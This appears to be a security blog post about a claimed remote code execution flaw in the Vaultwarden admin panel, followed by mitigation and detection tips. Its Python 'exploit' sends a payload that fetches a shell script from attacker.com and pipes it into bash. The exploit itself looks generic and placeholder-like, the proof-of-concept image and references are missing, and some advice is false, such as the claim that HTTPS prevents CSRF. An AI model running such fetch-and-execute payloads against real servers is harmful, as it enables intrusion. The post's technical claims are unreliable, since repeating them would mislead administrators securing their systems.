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A critical Remote Code Execution (RCE) vulnerability has been discovered in the Vaultwarden admin panel, allowing authenticated attackers to execute arbitrary code on the system. The exploit involves manipulating settings within the admin interface to inject malicious commands.
Proof of Concept (PoC)
The attacker can exploit this vulnerability by configuring specific settings in the admin panel, as demonstrated in the image below:
Reference:
You Should Know: Exploitation & Mitigation
1. Verify the Vulnerability
To check if your Vaultwarden instance is vulnerable, inspect the admin panel for unsanitized input fields. Use the following curl command to test for RCE:
curl -X POST "http://<TARGET>/admin" -d "setting=malicious_payload"
2. Exploit Code (For Ethical Testing)
A Python3 script to demonstrate the RCE (use responsibly):
import requests
target = "http://vaultwarden.example.com/admin"
payload = {"setting": "| curl http://attacker.com/shell.sh | bash"}
response = requests.post(target, data=payload)
print(response.status_code)
3. Mitigation Steps
- Patch Immediately: Update to the latest Vaultwarden release.
- Restrict Access: Use firewall rules to limit admin panel access:
sudo iptables -A INPUT -p tcp --dport 80 -s trusted_IP -j ACCEPT sudo iptables -A INPUT -p tcp --dport 80 -j DROP
- Input Sanitization: Implement WAF rules (e.g., ModSecurity) to block command injection.
4. Post-Exploitation Detection
Check for suspicious processes on Linux:
ps aux | grep -E '(curl|wget|bash|sh)'
Audit logs for unauthorized access:
sudo grep "POST /admin" /var/log/nginx/access.log
What Undercode Say
This vulnerability highlights the risks of insufficient input validation in admin interfaces. Always:
– Sanitize user inputs using regex or security libraries.
– Monitor logs with tools like Fail2Ban:
sudo fail2ban-client set vaultwarden banip <ATTACKER_IP>
– Use HTTPS to prevent CSRF-based attacks:
sudo certbot --nginx -d vaultwarden.example.com
For further hardening, disable unnecessary endpoints:
location /admin { allow 192.168.1.0/24; deny all; }
Expected Output:
A secured Vaultwarden instance with:
- Patched RCE vulnerability.
- Restricted admin panel access.
- Active monitoring for command injection attempts.
Relevant URLs:
References:
Reported By: Grimur Grimursson – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
